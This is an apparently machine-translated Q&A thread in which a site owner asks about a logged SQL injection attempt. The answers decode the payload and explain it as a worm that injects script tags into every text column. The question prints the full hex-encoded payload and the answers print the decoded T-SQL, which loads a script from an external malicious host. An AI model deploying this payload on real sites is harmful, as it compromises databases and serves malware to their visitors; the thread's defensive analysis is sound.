SQLインジェクション攻撃の試み-彼らは何をしようとしているのですか?
-
03-07-2019 - |
質問
私は、ここ数週間で多くのSQLインジェクション攻撃を受けている一般向けWebサイトを持っています。パラメータ化されたストアドプロシージャのみを使用しているため、成功した攻撃はなかったと思いますが、最近のログには興味深いテクニックが示されています:
わかりやすくするために改行が追加されました
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X="
<!> quot; CASTおよびEXEC <!> quot;しようとしていますか?
解決
以下は、プッシュしようとしていたデコードされたSQLです。
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
他のヒント
コードは、16進数から文字に解読されると、すべてのデータベーステーブルを通過し、text / charタイプのすべての列を選択し、このタイプの各値の最後に、< code> http://www2.s800qn.cn/csrss/w.js 。これで、Webサイトで、データベースから取得したテキストデータをエスケープしない場所が少なくとも1つある場合、サイトのユーザーはこの悪意のあるスクリプトをマシンで実行できます。
たとえばmysqlでこれを実行します:
select CAST(0x44...72 AS CHAR(4000)) as a;
これでわかります。 Ishmaeelはコードを貼り付けました。
これは、対象のatatckではなく、SQLserverワームです。
この攻撃を受けたことはあると思います。データベースのすべてのテーブルのすべてのフィールドに&lt; script&gt;
タグを挿入しようとしています。
これは、ページに表示される&lt; script&gt;
タグでデータベースを詰まらせるように構築されたアドウェアドロッパースクリプトです。 URLを使用してそのジャンクをプッシュしようとすると、ほとんどのサーバーが爆発するため、エンコードされています。
このようなことのほとんどは、クエリ文字列で何かにヒットするという点でランダムな攻撃ですが、標的型攻撃の可能性があります。サイトをテストして、クエリ文字列のSQLが実行されないことを確認します。パラメータ化されたクエリを使用するだけで、カバーする必要があります。
16進コードを解読する最も単純なPythonアルゴリズムは次のとおりです。
text = "4445434C415245204054207661726368617228323535292C404..."
def getText():
for i in range(0, len(text), 2):
byte = text[i:i+2]
char = int(byte, 16)
toPrint = chr(char)
yield toPrint
print ''.join(getText())